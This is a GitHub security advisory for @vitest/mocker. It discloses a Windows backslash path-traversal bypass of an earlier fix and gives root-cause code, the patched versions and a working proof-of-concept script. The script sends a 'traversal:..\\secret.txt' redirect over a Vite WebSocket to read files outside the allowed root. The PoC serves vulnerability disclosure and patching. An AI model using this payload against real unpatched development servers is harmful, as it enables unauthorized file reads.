{"id":"GHSA-xp26-3454-mjgp","summary":"Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix","details":"## Summary\n\nThe path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.\n\nThe fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\\secret.txt` retains `..\\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.\n\nI reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:\n\n- `@vitest/mocker@4.1.11`\n- `@vitest/mocker@5.0.0`\n\nThe current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.\n\n## Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\\` resolves the same as `../` and the allowlist check rejects it.\n\n## Relationship to GHSA-82fw-gwwq-j7x9\n\nThis is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.\n\nThe original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:\n\n- `4.1.11`\n- `\u003e=5.0.0-rc.2, \u003c5.0.3`\n\nOlder affected releases remain covered by GHSA-82fw-gwwq-j7x9.\n\n## Root cause\n\n`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:\n\n```ts\nconst redirect = join(server.config.root, redirectUrl.pathname)\nif (!isFileLoadingAllowed(server.config, redirect)) return\nevent.redirect = redirect\n```\n\nThe registered value later reaches:\n\n```ts\nreadFile(mock.redirect, 'utf-8')\n```\n\nVite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.\n\nThe authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.\n\n## Preconditions and impact\n\nA client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.\n\nThe reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.\n\n## Reproduction\n\nTested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.\n\nInstall dependencies for either affected line:\n\n```console\nnpm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3\n# or\nnpm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3\nnode poc.mjs\n```\n\n`poc.mjs`:\n\n```js\nimport { mkdir, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { tmpdir } from 'node:os'\nimport { randomUUID } from 'node:crypto'\nimport { interceptorPlugin } from '@vitest/mocker/node'\nimport { createServer } from 'vite'\nimport { WebSocket } from 'ws'\n\nconst base = join(tmpdir(), `vitest-path-${randomUUID()}`)\nconst root = join(base, 'root')\nconst secret = join(base, 'secret.txt')\nawait mkdir(root, { recursive: true })\nawait writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')\n\nconst server = await createServer({\n  root,\n  configFile: false,\n  logLevel: 'silent',\n  server: { fs: { allow: [root] } },\n  plugins: [\n    {\n      name: 'validation:virtual-modules',\n      enforce: 'pre',\n      resolveId(id) {\n        if (id === '/control' || id === '/bypass') return id\n      },\n    },\n    interceptorPlugin(),\n  ],\n})\n\nawait server.listen()\nconst port = new URL(server.resolvedUrls.local[0]).port\nconst baseUrl = server.resolvedUrls.local[0]\n\nfunction register(id, redirect) {\n  return new Promise((resolve, reject) =\u003e {\n    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')\n    const timer = setTimeout(() =\u003e reject(new Error('registration timeout')), 5000)\n    socket.on('message', (raw) =\u003e {\n      let message\n      try { message = JSON.parse(raw.toString()) } catch { return }\n      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {\n        clearTimeout(timer)\n        socket.close()\n        resolve()\n      }\n    })\n    socket.on('open', () =\u003e socket.send(JSON.stringify({\n      type: 'custom',\n      event: 'vitest:interceptor:register',\n      data: { type: 'redirect', raw: '', id, url: id, redirect },\n    })))\n    socket.on('error', reject)\n  })\n}\n\ntry {\n  await register('/control', 'traversal:../secret.txt')\n  const controlResponse = await fetch(new URL('/control', baseUrl))\n  const controlBody = await controlResponse.text()\n\n  await register('/bypass', 'traversal:..\\\\secret.txt')\n  const bypassResponse = await fetch(new URL('/bypass', baseUrl))\n  const bypassBody = await bypassResponse.text()\n\n  const result = {\n    platform: process.platform,\n    root,\n    outsideFile: secret,\n    slashTraversalStatus: controlResponse.status,\n    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n    backslashTraversalStatus: bypassResponse.status,\n    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,\n    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',\n  }\n  console.log(JSON.stringify(result, null, 2))\n  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked\n    ? !result.backslashTraversalReturnedOutsideCanary\n    : result.backslashTraversalReturnedOutsideCanary\n  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1\n} finally {\n  await server.close()\n}\n```\n\nObserved with `@vitest/mocker@4.1.11`:\n\n```json\n{\n  \"platform\": \"win32\",\n  \"slashTraversalStatus\": 404,\n  \"slashTraversalRejected\": true,\n  \"backslashTraversalStatus\": 200,\n  \"backslashTraversalReturnedOutsideCanary\": true,\n  \"returnedBody\": \"SYNTHETIC_OUTSIDE_ROOT_CANARY\",\n  \"expectedBackslashTraversalBlocked\": false\n}\n```\n\nThe same result was observed with `@vitest/mocker@5.0.0`.\n\nThis includes two useful controls:\n\n1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.\n2. `traversal:..\\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.","aliases":["CVE-2026-112950"],"modified":"2026-10-21T20:01:41.013649429Z","published":"2026-10-21T19:48:38Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-21T19:48:38Z","nvd_published_at":"2026-10-20T16:17:05Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112950"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"},{"type":"PACKAGE","url":"https://github.com/vitest-dev/vitest"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"}],"affected":[{"package":{"name":"@vitest/mocker","ecosystem":"npm","purl":"pkg:npm/%40vitest/mocker"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.1.11"},{"fixed":"4.1.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xp26-3454-mjgp/GHSA-xp26-3454-mjgp.json"}},{"package":{"name":"@vitest/mocker","ecosystem":"npm","purl":"pkg:npm/%40vitest/mocker"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0-rc.2"},{"fixed":"5.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xp26-3454-mjgp/GHSA-xp26-3454-mjgp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}